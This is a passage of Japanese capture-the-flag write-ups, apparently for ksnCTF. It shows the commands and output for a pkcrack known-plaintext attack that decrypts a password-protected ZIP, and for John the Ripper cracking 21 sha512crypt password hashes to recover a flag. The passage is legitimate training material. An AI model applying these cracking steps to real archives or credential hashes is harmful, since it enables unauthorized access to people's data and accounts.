uncompressed size: 255964 bytes
length of filename: 21 characters
length of extra field: 0 bytes
length of file comment: 0 characters
disk number on which file begins: disk 1
apparent file type: binary
non-MSDOS external file attributes: 000000 hex
MS-DOS file attributes (20 hex): arc
There is no file comment.
フラグファイルと画像ファイルがあるらしい
ファイル名で検索するとStandard-lock-key.jpgは以下のもののようだ
画像ファイルはネット上にあるものなので、pkcrackにて既知平文攻撃で解析できる
最初は気づかなかったが、下の方にファイルの履歴があり、複数の画像がある
https://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB:Standard-lock-key.jpg
サイズが250KBぐらいの画像なので、使うのはこちら
https://upload.wikimedia.org/wikipedia/commons/archive/a/a2/20180806082918%21Standard-lock-key.jpg
pkcrackコマンドはaptではインストールできず
$ sudo apt install pkcrack
E: パッケージ pkcrack が見つかりません
ダウンロード
$ wget https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
解凍
$ tar zxvf pkcrack-1.2.2.tar.gz
$ cd pkcrack-1.2.2/src
コンパイル
$ make
実行ファイルができあがる
(kali?kali)-[~/Downloads/pkcrack-1.2.2/src]
$ ls -ltr
-rwxr-xr-x 1 kali kali 53888 7月 23 20:59 pkcrack
-C 暗号化されたzipファイル(解析対象)
-c 暗号化されたzipファイル中の平文がわかるファイル名(zip内のファイル名を指定)
-p 平文ファイルのファイル名(今回は画像ファイル。暗号化前の実物が必要)
-d 解析完了後に出力されるファイルのファイル名(なんでもいい)
(kali?kali)-[~/Downloads/pkcrack-1.2.2/src]
$ ./pkcrack -C ../../flag.zip -c Standard-lock-key.jpg -p ../../Standard-lock-key.jpg -d ../../output.zip
Files read. Starting stage 1 on Fri Jul 23 21:17:55 2021
(略)
Stage 2 completed. Starting zipdecrypt on Fri Jul 23 21:18:10 2021
Decrypting flag.html (250d8b78ce908fe210d7c091)... OK!
Decrypting Standard-lock-key.jpg (037d8119e2c2884a4a665d91)... OK!
Finished on Fri Jul 23 21:18:10 2021
解析完了
$ unzip output.zip
パスワードなしで解凍できたので、フラグを確認
$ cat flag.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
<style>div{text-align:center;margin:2em;font-size:xx-large;}</style>
</head>
<body>
<div><img src="Standard-lock-key.jpg" width="360" height="160"></div>
<div>FLAG_P(略)</div>
</body>
</html>
ksnCTF Writeup No.14 John
問題タイトルより、John the Ripperというパスワードハッシュの解析ツールを使うと推測
q14_hash.txtに問題のテキストを保存する
他の問題のようにrockyou.txtを辞書にして解析しようとしたらなかなか終わらない
$ john --wordlist=rockyou.txt q14_hash.txt
Warning: only loading hashes of type "sha512crypt", but also saw type "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 21 password hashes with 21 different salts (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
independent (user07)
ultimate (user08)
karaoke (user17)
strange (user18)
JENNY (user09)
zero (user19)
floating (user13)
opinion (user15)
__________ (user04)
DELIGHT (user20)
(8分経過)
待っている間に(本当はよくないのですが)他サイトを見てみると、user99にメッセージがあるとのこと
たしかに、ちゃんと見れていなかったが、辞書ファイルのURLがはいっている
「SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt」
辞書ファイルをダウンロード
$ curl -o q14_sha512_dictionary.txt http://ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt
辞書ファイルの中身
$ cat q14_sha512_dictionary.txt
finding
EACH
respond
(略)
辞書を指定して解析
$ john --wordlist=q14_sha512_dictionary.txt q14_hash.txt
ADDITIONAL (user02)
QUESTION (user16)
HELD (user10)
GENDER (user03)
FREQUENT (user00)
SUFFERS (user11)
SPIRITS (user06)
applies (user05)
zecht (user14)
LATTER (user01)
LEAVE (user12)
11g 0:00:00:01 DONE (2021-07-23 20:10) 6.707g/s 1854p/s 14287c/s 14287C/s nineteen..ADMIRATION
Use the "--show" option to display all of the cracked passwords reliably
Session completed
なんと、1秒で完了
(rockyou.txtで解析が終わっていたところは飛ばしたからかも?)
結果をまとめて表示
0から順に、パスワードの頭文字がFLAGになっている
$ john --show q14_hash.txt
user00:FREQUENT:15491:0:99999:7:::
user01:LATTER:15491:0:99999:7:::
user02:ADDITIONAL:15491:0:99999:7:::
user03:GENDER:15491:0:99999:7:::
user04:__________:15491:0:99999:7:::
user05:applies:15491:0:99999:7:::
(略)
user19:zero:15491:0:99999:7:::
user20:DELIGHT:15491:0:99999:7:::
21 password hashes cracked, 1 left
サクラエディタの矩形選択で取り出してから、改行を削除してフラグ取得しました
参考サイトでは、さくっとコード書いて取り出していてさすがだなと